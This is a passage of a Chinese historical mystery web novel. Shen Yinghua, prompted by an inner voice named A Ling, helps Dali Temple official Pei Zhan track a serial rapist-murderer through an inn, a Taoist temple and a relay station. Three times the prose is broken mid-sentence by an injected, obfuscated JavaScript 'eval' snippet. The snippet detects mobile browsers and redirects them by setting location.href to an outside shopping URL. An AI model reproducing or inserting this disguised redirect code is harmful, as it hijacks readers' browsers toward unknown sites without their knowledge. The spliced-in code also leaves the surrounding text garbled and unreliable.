“沈娘子,客气了,算不上什么吩咐,只是那个……您要不跟我们一路回长安,您放心,我会遣人告知沈侍郎。” “多谢耿司直,我本就要回长安,能得大理寺庇佑,家中长辈想来更加安心。” 没了?裴湛对耿文达抬了抬下巴,示意他继续说清楚,耿文达自认出了一个破点子,死活开不了口。 今早他突然奇想,建议领导拉拢沈娘子一同办案,一来可以稳住不安分的胡七,二来多个帮手或许能快点破案回长安。 本以为领导会与他辩上一二,哪知他竟点头同意了,这下轮到耿文达傻眼了,他光顾着嘴快出点子,可没想好该如何说服沈娘子…… 迟迟等不到狗腿子开口的裴湛踹了耿文达一脚,单刀直入道:“沈娘子,胡七如今只相信你,我怕中途生变故,所以想劳烦你跟我们一起去趟巩县,待案子查清后,裴某亲自送娘子归家。” 沈缨华本就想跟着查案,还不知如何跟沅娘开口,裴湛这一请,倒是让她顺水推舟了,回礼道:“裴少卿客气了,能帮到大理寺,实乃吾之幸事,后续安排,全听您的。” 裴湛得偿所愿,态度软了不少:“多谢沈娘子,吾大名裴湛,字云策,日后你若有事相托,裴某必不推辞。”说罢正要带手下离开,却见沅娘对着沈缨华笑得灿烂,两人似乎约定了什么,偷偷摸摸比着看不懂的手势。 回到院子,他立马问杨沅君:“你刚才过去半天却没说到正事,那是打听到什么了?” “没什么,就是聊了些女子间的私密话。” 耿文达调侃:“你什么时候像个女子了,还能跟沈娘子说上私密话啦。” “耿司直,你少贬损我!丹娘可不是那种自视甚高的贵女,她夸我能当大理寺的仵作,技艺了得,还说当仵作是替死者申冤,没什么不好的,莫听旁人闲言碎语……”又将沈缨华那番豪言壮语复述一遍。 “她真这么说?倒是挺……特别的。” 耿文达和杨沅君还在你来我往地斗嘴,裴湛盯着案几上,花瓣边沿开始枯萎变色的桃花雪,小名丹娘,是因为生在牡丹盛开的时节吗? 4. 第 4 章 万安观离巩县约一百四十余里,一行人车马劳顿也需两日才能到,第一日行至傍晚,耿文达见沈缨华面有倦色,好说歹说劝住还想赶路的裴湛,叫停队伍去最近的客栈歇息。 此地名为泽口,位于洛阳至巩县的必经之路,往来客商较多,人流密集,客栈、茶肆、酒坊应有尽有,耿文达直奔最豪华的泽口客栈。 一进门,掌柜见郎君们身着官服,器宇不凡,赶紧迎上来嘘寒问暖。 耿文达见上司明显一脸不耐,忙说:“行了行了,快去安排晚食,准备三间上房、五间中房。” “好嘞!” 周围人见状皆放低了声量,不过这客栈大堂也就这么点儿地,他们聊天的内容时不时传到耳边。 “嘿,你们听说了吗,巩县那个奸杀案好像破了。” “这么快!不是说才查到凶嫌是一个多次作案的采花贼,怎么突然就破了?该不会是随便逮个人交差吧?” “你有所不知,听闻被那贼人害死的道长有些来头,上头一施压,县衙可不得快些破案嘛。” 众人纷纷点头。 一男子目露猥琐,低声议论:“到底是哪家的女人被采过啊,怎么也没个信儿呢。” 有人眼神暧昧又遗憾,道:“我堂兄的大舅子的表兄就在巩县当衙役,说那县尉发了话,不许透露被害人的消息,如有人漏了风声,就视为凶嫌共犯,所以嘛……哎……” “要我说,这采花贼能屡屡得手,多半还是那些娘们儿不守妇道才会……哎哟!你怎么回事,笨手笨脚的,走开走开!” 对面酒坊送酒的中年女子打翻了客人的酒壶,忙躬身道歉:“对不住对不住,我再去换一壶。” 沈缨华为了听八卦一直默默关注这桌碎嘴的男子们,她要是没看错的话,刚才那送酒的女子明显是有意将酒泼到猥琐男身上,眼中还有愤懑不满,是为被害人鸣不平? 阿玲插嘴:“阿丹,那个送酒的女人有问题,她恐怕知晓内情。” “我叫丹娘,不叫阿丹!” “嗯嗯,快去拦住她,阿丹。” 沈缨华心里骂骂咧咧,抬眼见酒坊娘子已出了客栈,借口回房歇息,召来玉露低语几句,不多时,对面酒坊的娘子提了一篮子米酒上门。 一身粗布衣衫的中年女子喜笑颜开将酒壶一一放在桌案上:“娘子,一共一百文。” 含霜递给女子两百文,也不等她反应,立即和玉露离开屋里,守在门外。 酒坊娘子拿着钱,一脸无措地看向沈缨华,她笑意盈盈地示意其收下:“不瞒娘子,与我同行的乃是大理寺官人,此行目的便是核查巩县采花贼奸杀案,我观娘子似乎知道些内情,所以……” 酒坊娘子如受惊的小兽,立即否认:“我什么也不知道!” 还不等沈缨华接话,阿玲肯定地说:“她在撒谎!否认太快,眼神闪躲回避……阿丹,诈她。” 沈缨华故作遗憾地自言自语:“原来是我误会了,哎……眼下外面都在传抓到了凶手,但大理寺怀疑县衙那边逮错了人,不知真正的贼人何时才会落网,但愿大理寺能在他下次杀人前捉住他。” 酒坊娘子攥紧手中的钱串子,惊疑不定:“他……他下次还会杀人?!” “这种连环作案的贼人最是凶残,既已动了杀念,杀一人被逮住是死,杀数人也是死,日后作案他定会将受害人通通杀光,不留活口。娘子若是有巩县的亲友,一定要提醒她们注意些,此贼已是穷途末路,一旦遇上恐怕……” 酒坊娘子脸色煞白,嘴唇轻颤,焦灼不安,犹豫半晌,轻声说:“小娘子,其实……我……我有一亲友于四个月前被那贼人侵害。” “竟有此事?!那她报官了吗?” 她避开沈缨华的眼,轻轻摇头。 沈缨华心下一惊,昨日耿司直说县衙查证采花贼初次作案大约是三个月前,可酒坊娘子却是四个月前被侵害,看来还有大量受害者未被找到,她忙问:“娘子的亲友是在何处被害?” “我……的亲友回巩县城南探亲时遇到此贼。那日天色将黑,他装扮成女子说是在城中访友不遇,未带够住店的银钱,便以一篮子胡饼和果子为礼,求她收留一晚。父兄外出进货当日不归,嫂子带着侄儿们回娘家小住,家中只有她和老母,怪我未多想,就应了下来,结果贼人竟在晚食中下药。阿母睡得很沉,我半夜忽然醒来,竟……不对,是我的亲友,她不敢反抗,怕贼人对阿母不利,只能生生忍下!” 沈缨华没有戳破酒坊娘子的小谎,轻抚她的后背:“忍下来是对的,失洁是小,若激怒了贼人,罔送性命才是得不偿失。贼人虽已易容,但她可有看清其他特征,比如身高、声音之类的?” “身高大约五尺四五寸,声音听着有些尖细,其他的无甚特别。” “他的眼睛呢?” “眼睛?不大不小,与常人一样。” 沈缨华点头示意自己知道了,她没有再继续追问,话锋一转:“娘子可否随我将酒送到大堂给官人们尝尝。” 酒坊娘子点头应下,随即跟在沈缨华身后返回大堂,大理寺的人收到沈家娘子送来的米酒,个个都乐开了花,除了裴某人。 他一开始并未在意,以为沈缨华当真是为了感谢他们特意送酒,可奇怪的是,她的目光不停在酒坊娘子和胡七之间流转,似乎在探寻什么,可这二人不似熟人,毫无异常之处。 直到酒坊娘子离开,沈缨华若有所思地转身上楼,裴湛借口有事也跟了上去。 他快步上前,伸手挡住她的去路,事出突然,沈缨华正与阿玲讨论案情,毫无察觉一头撞上坚硬的臂膀,吓了一跳,捂着额头连连退后。 落后几步的两个丫鬟忙跑上前挡住他:“裴少卿,您这是何意?” 裴湛也未料到沈缨华是个不看路的睁眼瞎,轻咳一声掩饰尴尬:“我有话问沈娘子。” 沈缨华眼中疑惑又警惕:“啊?那……那就在这儿说吧。” “你刚才叫酒坊……” 沈缨华急吼吼打断他:“裴少卿,咱们还是回屋说吧,玉露、含霜你们也进来。” 裴湛蹙眉,怀疑她定是探听到了不为人知的消息,自己才起了头,她面色一变非要进屋聊。 沈缨华也没想到,走后门的大理寺少卿竟然业务能力这么强,自己才打听到手的信息就被裴某人瞧出了苗头,眼下也不好再瞒着他,只得和盘托出酒坊娘子的遭遇。 沈缨华见裴湛没有斥责她多管闲事,试探性地说出阿玲的猜测:“裴少卿,我觉得酒坊娘子碰见的就是那连环采花贼,他那时可能刚开始作案不久,对迷药的剂量控制不好,导致受害人中途醒来。” 裴湛反问:“被害的□□道长也是中途醒来,若凶手是一个人,为何这次他又失手了?” “这……”沈缨华也没想通这点,一时语滞。 裴湛莞尔一笑,岔开话题:“沈娘子,你刚才故意让酒坊娘子去送酒,就是想试探胡七吧。” 沈缨华点头,她觉得胡七若真是凶手就算再怎么会伪装,乍然见到被害人,多少会有些紧张不安,或者刻意回避,但刚才二人毫无异常,确实是素未蒙面的陌生人。 “沈娘子好计策,至少说明胡七不是伤害酒坊娘子的凶嫌,真凶确有可能是那连环采花贼,至于□□道长……待沅娘勘验后自有分晓。时间不早了,沈娘子早些歇息吧,告辞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317603|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”裴湛转身出门。 沈缨华眼眸一亮:我竟能得大理寺少卿的赞誉! 阿玲不服:他表扬的分明是我才对…… 第二日一早,一行人继续赶路,傍晚时分恰好赶到巩县城外的清辉观附近,几人一合计,干脆先假扮香客暗访一下案发地,探一探这观里的水深。 “交际花”耿文达笑盈盈地对观主凌虚道长编瞎话,什么阿兄阿妹回乡访友不遇,眼见天色渐晚,欲留宿一夜,说罢将钱袋塞进她手里。 凌虚道长偷偷掂了掂,反手拢进袖子,面色为难:“娘子们留宿观内倒也无妨,但郎君们恐怕有所不便。” 耿文达也不气恼:“敢问观主,这周围可有能遮风避雨的小屋?” “观外东南方一里处有一猎户歇脚的小屋,若郎君们不介意,我着人准备些被褥,你们可在那儿休息一夜。” “甚好甚好,那就麻烦观主了,不知观中可有晚食,我们赶路一天,颗粒未进。”像是为了应证自己的话,耿文达的肚子适时响了一声。 凌虚道长连声应下,引众人去前院的斋堂。 恰逢晚食,一行人刚踏入门内,屋里二十多双眼睛齐刷刷聚过来。 凌虚扫了一眼斋堂的众人,目光定格在两个年轻的女冠身上,吩咐道:“灵微、灵华,帮几位施主准备晚食。” “是。” 一个清瘦的灰袍女子低声应下,转身出门去后堂,另一个圆脸微胖的女子大大咧咧用袖子扫了一下嘴,也跟了上去。 趁此间隙,沈缨华漫不经心打量起屋内众人。 大多是身着道袍的女冠,还有五人身着常服,应是修行的居士,年龄不一,但精神面貌瞧着不似家贫者。好几个年轻女子,假装低头喝粥,实则偷偷看了过来,焦点自然是仪表堂堂派头十足的裴少卿。 裴湛不以为意,略过灼热的视线,双臂环抱,脊背挺直,眼眸低垂。 阿玲吐槽:这种出身高贵的男人随时随地散发一股“我很贵,你不配”的清高劲儿,企图以此逼退不够格的女人,但越是如此,越受追捧,不愧是世家培养的“优质商品”。 沈缨华深以为然,听程三娘八卦,长安城里某位长公主颇爱清高的青年才俊,不知这位可曾有幸成为公主的入幕之宾…… 不多时,斋饭上桌,饥饿难耐的沈缨华立刻止住胡思乱想。 一碗素菜羹,两个胡麻饼,三叠小菜。看起来简单朴素,尝一口,她眼睛都亮了。 素菜羹由菌菇汤打底,大米、山药、红豆熬至粘稠,最后再加一把新鲜的野菜丝。粥底软烂,入口一抿,即划入喉中,只剩下脆脆的菜丝,嚼一口,满嘴清香。胡麻饼和小菜也是深藏不露的精巧小食,做法讲究,用料也是上乘。 沈缨华顺口夸了起来:“观中晚食甚是美味,不知出自哪位道长之手?” 清瘦的女冠受宠若惊,涨红了脸,害羞回道:“施主过誉,清粥小菜而已……多亏师姐们采买的食材新鲜。” “那可不,我买的都是好菜,花了不少呢!” “分明是灵微手艺好。” “你就会自夸,哈哈……” 一个年轻的居士却忽然哀惋道:“要我说……功劳最大当属□□道长,多亏她广宣道法,得信众捐资,令观中无俗世之忧……可好人怎么就……”说罢眼中蓄起泪花,一旁年纪稍长的居士落寞地叹口气,默默地递上手帕。 斋堂的气氛陡然一僵。 凌虚道长面色微变,淡淡说了句:“逝者已矣。” 其他女冠低头默默喝粥,微胖的女冠灵华却翻了个白眼。 沈缨华暗想,看来这位被害的□□道长人缘有点两极分化呀。 5. 第 5 章 晚食草草收场,郎君们先行离观,娘子们去侧厢房安歇。 灵华提灯走在前面引路,沈缨华瞧了一眼四周,见已无外人,问:“道长,我们兄妹随家父长住洛阳,久离故土,不知家乡近事,斋堂那位女居士提起的仙去的□□道长很有名吗?” 灵华撇撇嘴道:“她几年前来观中参学,平日里喜欢吹……讲道,信众颇多。” 沈缨华脱口而出:“你不喜欢她。” 灵华顿住脚步,连连否认:“施主您可莫要胡言,我只是与她不熟悉,并未交恶!各位今晚就住这三间,净房在院外右侧回廊尽头的小院。”说完便落荒而逃。 众人望着她仓皇的背影,面面相觑。虽说沈缨华单刀直入的问法过于直接,不过灵华的反应明显有些过激,看来这道观的水也不浅啊。 沈缨华郁闷不已,刚才阿玲不断叨叨让她侧面试探灵华,她为了证明自己有能耐,硬是反向操作,想要打灵华一个措手不及,哪知事与愿违,被阿玲疯狂嘲笑,满脑子都回荡某人极尽揶揄的笑声。 杨沅君安慰她:“打听消息得徐徐图之,不可操之过急,反正还有时间,今晚先好好休息。” 亥时,沈缨华忽感尿意袭来,睡眼惺忪起身,本想叫醒隔壁的玉露、含霜,脑海里又传来阿玲的声音。 “你都这么大了,上个厕所还要跟人手拉手啊!” 沈缨华只好嘴硬:“我只是刚才睡迷糊了,一时忘了灯在何处,结果就在那儿。”说罢点燃灯芯,掌灯向院门外走去。 吱—呀— 半阖的院门被推开大半,山风裹挟春寒的凉意穿堂而过,万籁寂静的夜晚,孤零零的火光在风中游荡。 沈缨华霎时打了个冷颤,困倦被赶走七分,一步一步走向回廊深处,身影一点一点被黑夜吞没。 回廊转角后有一条小径,两边有几座半人高的石灯笼,在不甚明亮的月夜中透出朦胧的烛光,尽头便是一处三墙合围的小院。 膀胱徘徊在爆炸边缘的沈缨华三步并作两步,将灯笼丢在净房的木门外,径直冲进去,畅快释放…… “终于舒坦了,早知道就不喝那一大碗粥了。”她嘀嘀咕咕起身,提上灯笼欲回房,一阵凉风袭来,灯笼的烛光忽明忽暗,地上的月光也越发黯淡。 今夜高悬的月亮像是久放的酥饼,时日久了,表面长出纠缠成团的菌丝,一丝一缕从月轮边缘渗出,彼此纠缠蠕动,光芒也不再是清冷的银白,而是一种腐败的昏黄。 沈缨华抬头看了一眼月亮,忽然想起年幼时乡间的童谣:毛月亮,阴门开,孤魂游,野鬼荡,招魂幡,迎风摇,替身现,纸人笑…… 一想到此,鸡皮疙瘩爬上头,正想赶紧闪人,忽听有断断续续的声音自后传来。 “冤有头债有主……” 沈缨华浑身僵直,额头后背骤然浮起一层冷汗,心率直逼两百,大脑出现片刻宕机。 阿玲出声安抚道:“别怕,这地方可是道观,要真是鬼怪,三清在上,还容得下这小鬼作祟!” 沈缨华哆哆嗦嗦说:“这……这声音……不是鬼还能是什么?” 阿玲:“神仙能收鬼怪,可不管人间,必定是有人装神弄鬼,走,去瞧瞧!” 如泣如诉的声音还在随风飘来,沈缨华强撑着抑制住逃跑的本能,逼迫自己冷静下来,手指甲死死掐住掌心,鼓足勇气挪动步子,循声而去。 刚走两步,她忽觉这声音似乎有点耳熟,随即加快步伐跑过去。此处是与净房一墙之隔的废院,声音就是从里传出来的。 沈缨华透过院墙的镂空花窗,往里一瞧,一栋破败的木屋孤立在黑漆漆的院子里,仅存半扇门挂在歪斜的门框上,像一颗腐朽待落的烂牙。冷风一过,门随风开合,门轴挤压木头发出尖锐的刮擦声。 “吱——呀——”在死寂的夜晚拖出活似垂死者的呻吟。 门缝深处,有火光在虚无的黑暗中跳动, 一道黑影挡在橘红色的光芒前。 原来是有人在烧东西! 沈缨华紧绷的心放松了大半,随即又心生疑惑:既然不是鬼怪,谁大半夜的在这儿烧什么? 她吹灭灯笼,轻手轻脚溜进院子,蹲在门口透过缝隙向里看去。 原来装神弄鬼的是观主凌虚道长! 凌虚蹲在屋子的角落,手里攥着一把纸钱,面前是火光跳跃的铜盆,一手捻起枯黄的纸投入橘红的火舌中,火星子随风扬起,又迅速化为灰烬,忽明忽暗的火光从下往上照在脸上。 她眉心拧成几道沟壑,眼窝好似枯树干上凹陷的空洞,黑灰色的瞳孔中透着恐惧,嘴角却抑制不住向上,整张脸被撕裂成两半,一半是害怕一半是窃喜。 凌虚嘴里碎碎念叨:“你也不是什么好人……到了阴曹地府使些银钱,快快去投胎吧……” 说的是被害的□□道长?难道二人之间有过节? 沈缨华疑窦丛生,偷偷挪动脚步,想要再靠近听得更真切。 哪知凌虚似有所感,突然起身,鹰隼般的眼睛慢慢划过四周,视线定格在破败的木门外。 沈缨华吓得侧过身子,咬紧牙关,大气也不敢出。 屋里的凌虚先是转头盯着火盆,闭眼低声碎念,手指对着虚空画符,忽而转身 快步直冲房门。 阿玲:“完蛋了,快跑!” 沈缨华手足无措,跌坐在地,大脑一片空白。下一秒,骤然跳起,转身欲跑,可还不等她迈出半步,就被一只大手拽入黑暗…… “咵”的一声,木门洞开,凌虚厉声道:“谁在那儿!” “喵—喵—” 几声突兀的猫叫响起。 快步循声追去,两只落荒而逃的野猫从墙角的灌木丛中一闪而过,不多时,院子又归于寂静。 她疑神疑鬼地四处查看,语气癫狂地念叨:“我不怕你,你该死,你活该,不怕你……” 漆黑的耳房夹角处,一只大手捂住女孩半张脸,掌心的粗茧紧贴她的鼻和唇,似有若无的草木香萦绕鼻尖。另有一只臂膀禁锢她上半身,背后硬挺的胸膛将其堵在墙边,动弹不得。 强行顶号上线的阿玲宛如被揪住后颈皮的小猫猫,想要挣扎却力不从心,汗毛陡立,脑子里蹦出一句话:好奇害死猫! 时间回到半柱香前,沈缨华被暴起的凌虚吓得呆若木鸡,阿玲情急之下竟冲破了意识束缚,接管了沈缨华的身体,来不及多想就要跑,结果转头就被人押进小黑屋。 阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317604|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玲还想挣扎求生搏一搏,有温热的鼻息扑在脸颊上,似是羽毛划过,又轻又低的男声在耳边响起:“是我,裴湛,别动。” 她悬着的心放了下来,但还是好想骂他:不要动?!裴湛,你大爷的,老娘都要被你捂死了,能不动吗! “我有祖师爷庇佑,我不怕你……”凌虚的声音由远及近,吓得阿玲不敢再动。 裴湛见状,无声轻笑,借着漏风的屋顶投下的月光,看着怀里的小娘子像只乖顺的鹌鹑,埋头缩脖,偷偷抓紧他的衣角。 那边的凌虚嘴里说着不害怕,动作却露了怯。快步回到火盆前,一把将剩余的纸钱丢进去,火舌骤然上窜,吓得她跌坐在地,扑腾几次终于站起身,未等火光熄灭,头也不回逃出荒园。 在“沈缨华”快要窒息见太奶前,裴湛终于松开手。新鲜空气霎时涌入口鼻,后背的“武力威慑”也同步撤开,她下意识向后倚靠,贴在身后的胸膛前大口喘气,缓过神后,压着嗓子问:“她走了吗?” “嗯。” 她这才长舒一口气,拍着胸口,说:“吓死我了……裴湛你怎么在这儿?” “睡不着,路过。” “大半夜从500米开外的猎屋路过这儿?” 裴湛没应,捡起地上的灯笼,从蹀躞带的锦囊中取出火石,点燃灯芯,朦胧的暖光印在二人的眼眸中。 “走吧,我送你回房。” “沈缨华”撇撇嘴,有些不满裴湛闭口不言的态度,这人的心思太深,不好对付。 裴湛说完便掌灯大步向前,“沈缨华”被迫加快步伐,嘴里嘟哝:“长得高了不起啊……”不知是不是被前面那人听到了,他放缓了脚步,二人终于并行。 “你……”两人异口同声起了头。 “沈缨华”顾忌裴湛的官身,假笑着推辞:“裴……少卿,你先说。” 裴湛:“为何半夜独自来此?” 嘿,你小子,这话不是我先问的吗? 嘶……总不能说尿频尿急起来去茅厕吧。 “沈缨华”眼珠一转,将裴湛刚才的话原封不动送给他,说:“睡不着,路过。” 裴湛轻笑:“还真是不肯吃亏。”说罢又像是想起什么,敛了笑容,道:“以后不许一个人出门,哪怕是起夜也要让丫鬟们陪同,知道了吗?” “沈缨华”最是听不得爹味发言,偷偷翻了个白眼,却被裴湛逮个正着,她尴尬一笑,见他直愣愣地盯着自己,眼神中透着警告。 顶号的阿玲急着赶回房找“正主”,不欲与他纠缠,连忙点头应下。 恰巧二人走到袇房院外,她抢先道:“我到了,多谢裴少卿相送,晚安。” 裴湛还想多嘱咐两句,“沈缨华”却不给他机会,转身进了院子立刻锁门。 阿玲回屋立刻躺下,轻声呼喊沈缨华:“阿丹,能听到吗?” 静默片刻,无人回应。 她霎时添了几分慌乱,虽说再次自由掌控身体的感觉很棒,但自己毕竟不是“原装货”,强行夺舍的行为与妖精无异,她可受不了良心的谴责。 阿玲深吸一口气,努力平复情绪,闭上眼,集中精力,让意识再次回到脑海中。待她再次睁眼,熟悉的轻盈感又回来了。 6. 第 6 章 “阿丹,快醒醒。” 沈缨华迷迷糊糊睁开眼,发现竟身处袇房的床榻上,刚才明明在……废弃的院子!对了,自己偷窥观主凌虚被发现,她冲了过来,然后呢? “然后你被吓傻了,动也不敢动,我不知为何上了你的身,正准备开溜,结果被裴湛……” 沈缨华完全没有这段记忆,傻愣愣地听完阿玲的话,半晌才来了一句:“裴少卿怎会在那儿?” “我哪知道!” 阿玲也纳闷,这小子神出鬼没,滴水不漏。大理寺虽不在六部之内,却为九寺之首,绝非司农寺、太府寺那等软柿子,其与刑部、御史台同属三法司,裴湛年纪轻轻就官至少卿,绝非等闲之辈。 “阿丹,这姓裴的什么来头?” 沈缨华思量片刻,摇头道:“不知,我不常出门,阿翁阿耶不怎么提及官场之事,不过……裴家是大世家,分支众多,在朝中颇有人脉。但以门荫入大理寺,得少卿之职,这不是普通官爵之家有能力达成的。” 阿玲秒懂,裴湛必定是本家高官之子!阿丹和他拼爹恐怕赢不了,少去招惹为妙。 一通折腾,她有些困倦,催促沈缨华赶紧休息。 沈缨华欲言又止,磨磨蹭蹭问出了心底的担忧:“阿玲……你会取代我吗?” 阿玲一个哈欠还没打完,硬生生半道收住:“取代你干嘛,在没电没手机的后宅当个深闺怨妇?” “什么深闺怨妇!治家如治国,男子撑外廷,女子守后宅,家族绵延靠的是荣辱并肩,岂有贵贱之分。” 阿玲讥诮道:“既然都一样重要,为何男的封官加爵名留青史,女的连名讳都留不下来!高门命妇哪个不是教养子嗣、奉养高堂、周旋交际,为郎君们铺路稳后方,结果呢,他的功劳记在庙堂丰碑,你的功劳随风而散,你说说,这不叫贵贱之分吗?” 沈缨华答不上来,只觉得心口堵得慌,想再与阿玲说叨,却听有鼾声响起,无奈伴随声声“白噪音”入眠。 再睁眼,窗外天光大亮,含霜正轻叩房门:“娘子,该起了。” 沈缨华昨夜没睡踏实,打着哈欠晨起梳妆,晕乎乎地踏进斋堂,女冠居士已去正殿做早课,此刻斋堂只剩下还在用朝食的裴湛,其他人已回屋收拾行李。 “裴少卿,晨安。” 裴湛点头回应。 玉露将朝食置于案桌上,沈缨华跪坐在前,小心捂嘴打了个哈欠。 “沈娘子昨夜没睡好?” 沈缨华尴尬一笑,点点头。 “晚食饮粥当有节制,以防夜起如厕,如若……”裴湛话还未说完,玉露惊讶道:“娘子,您昨夜起溲了?” 沈缨华赶紧咽下满口酥饼,睁眼编瞎话:“没有!裴少卿只是劝谏而已,对吧!”说罢挤眉弄眼,示意裴湛接茬。 裴湛轻笑一声,含糊应下,随即又加了一句:“裴某再劝沈娘子一句,如若不得已而起,必令人陪侍,不得独往!” 沈缨华点头如捣蒜,生怕裴湛说漏嘴,令玉露、含霜起疑。她二人若是知道自己又独自起夜,定会念个不停,甚至去阿母那儿告状,这可不得了。 好在裴湛还没来得及纠缠,耿文达收拾好行囊,低声禀报:“少卿,一切妥当随时可出发。” “好,待沈娘子用过朝食便启程吧。” 沈缨华问:“不再打听一下?” 耿文达回:“那观主凌虚怕是下了封口令,女冠对□□闭口不言,居士来来回回只会说她道法高深,心地善良。多问无益,倒不如先去勘验尸首。” 既然如此,他们不再耽搁,一刻不停快速赶路,行至距巩县县城二十里处已是酉时末。 耿文达见沈缨华她们累得东倒西歪,再次与上司据理力争后,决定在附近驿站先休息一夜明日入城。 洛口驿站的孙驿丞早就被高县令耳提面命,大理寺的官爷可能会住宿,他不敢马虎,一收到风声就让后厨好生准备。 他们在大堂刚一坐定,汤饼肉羹便端了上来,厨娘见还有女眷,又贴心地送上蜜饯小点,裴湛大手一挥,驿站上下皆得了赏钱,人人欢喜。 一天奔波,沈缨华早已困得睁不开眼,随意吃了几口,便回房洗去一身尘土倒在床上迷迷糊糊睡着了。 戌时,灰黑色的浮云遮住了月华的光亮,众人都已安歇,孙驿丞怕吵到贵人,让杂役都提早回房,一时间驿站安静得如无人之境。 突然,由远及近的暴喝声打破了静谧的春夜。 “站住!” “死贼往哪里跑!” “快来抓采花贼!” “砰砰砰,开门,孙驿丞,有贼人!” 捉贼的村民们拍打大门,摸不清头脑的驿丁刚一开门,乌泱乌泱的人群涌入大堂,孙驿丞气得头都快炸了,压着嗓子说:“闭嘴闭嘴,官人们在休息!” “孙驿丞,那杀人的采花贼刚又在村中行凶,被我等发现,他慌不择路逃进了馆舍!” “什么?”孙驿丞头皮发麻,想到今日客房内还有数名女眷,他转身就要上楼查看。 “干什么?”裴湛带着一群大理寺的人站在二楼楼梯处。 孙驿丞慌忙报告:“裴少卿,村民说那个杀人的采花贼进了馆舍!” 裴湛一愣,胡七大概率非贼人且已被监管,那逃进来的恐怕是真凶,遭了! 他冲到沈缨华的房外使劲拍门:“沈娘子,在不在?”结果房门压根没关,瞬间被拍打开, 他心中一惊,不好! 隔壁屋里和衣而眠的含霜迷迷糊糊起身开门,却见裴少卿带着一群人闯进自家娘子房内,她惊叫一声:“裴少卿,你你……” 裴湛见床上无人,焦急询问:“你家娘子呢?” 含霜看向床榻,空无一人,她大脑一片空白,冷汗乍起:“先前还在的,怎么这会儿不见了,是出了什么事吗?” “馆舍进了贼人,快去找你家娘子。” 裴湛抽出横刀,转身未见耿文达和杨沅君,立马吩咐手下速去找到二人在大堂汇合,自己则领着一队人马在馆舍内大声呼喊寻找沈缨华、玉露主仆二人。 时间回到一炷香前,本已迷糊睡下的沈缨华被一阵饥饿感激醒,她挣扎起身,惊动了隔壁房里还未入眠的玉露。 屋外一片寂静,此时众人都已睡下,她不忍扰了厨娘的清梦,想独自去厨房找点吃的,玉露当然不肯,坚持陪她一起,两人提灯去了后院。 厨房灶台上只剩下一些冷透的汤饼,玉露挽起衣袖生火热食。不多时,两碗热腾腾的素汤饼出锅,二人蹲在尚有微光的灶边吃着汤饼说起从前在府中的趣事。 “娘子,你这挑食的毛病何时才能改。” 沈缨华喝下一口回味清香的汤,刚想夸玉露的手艺,哪知这小妮子又吐槽自己,顺手用筷子敲她头,说:“民以食为天,我这好不容易投胎成人,讲究点吃食怎么啦!今儿那肉羹太腥了,我一闻便知屠户没放尽血水,后厨没放够香料,直接宰成臊子丢下锅,这哪儿吃得下啊!也就那几个小饼勉强垫了垫肚子……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317605|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她正说着,阿玲忽然冒了一句:“阿丹,外面是不是有什么声儿?” “哪儿有,哼哼,你是不是怕黑呀……”她刚想嘲笑阿玲,却好似真有模糊的叫喊声飘来。 “玉露、玉露,你听外边是不是有什么声音?” 玉露迟疑地放下碗筷:“驿站有新客?” “沈娘子。” “丹娘。” “玉露。” 忽远忽近的喊叫声传来,两人齐齐起身,四目相对,这个时辰怎会有人找她们,鸡皮疙瘩渐起,下意识握住彼此的手。 “沈娘子!”裴湛的声音在门外响起。 沈缨华听出是他,赶紧应声:“裴少卿,我在这儿。” 裴湛推开厨房门,两个娘子安好,呆愣愣地看着他,长舒一口气,朝外面大喊一声:“她们在这儿!”转头语带责备地说:“你二人到厨房作甚,没听见大家都在找你们吗?” 玉露忙陪笑解释:“晚食不合娘子胃口,我们来找些吃食。” 沈缨华则有些不满地看着黑脸的裴湛,心想,不就是出来找点吃的吗,有必要这么凶…… 裴湛见她毫无悔意,还偷偷翻白眼,俨然一副“要你管”的样子,火气更盛:“饿了便叫厨娘,自己跑厨房成何体统!” 沈缨华袖子一捋,犹如炸毛的小猫,时刻准备进入战斗状态:“裴少卿,你好不讲理,我只是不忍打扰厨娘,这也有错?” “她靠此营生,起来为住客做吃食也是应该的,且我已给过赏钱,你有什么不忍心的!” “你……”沈缨华还想再辩驳,玉露眼见裴少卿越发生气,赶紧捂住自家娘子嘚吧嘚吧的嘴,赶忙道歉:“裴少卿,是我失职,没有劝住娘子,惹您担心,对不住对不住。” 众人跑来,便见此场景,含霜冲过来,仔细打量,确认无事,哑着嗓子解释驿站进了贼人,且可能是那杀人的采花贼,二人一阵后怕。 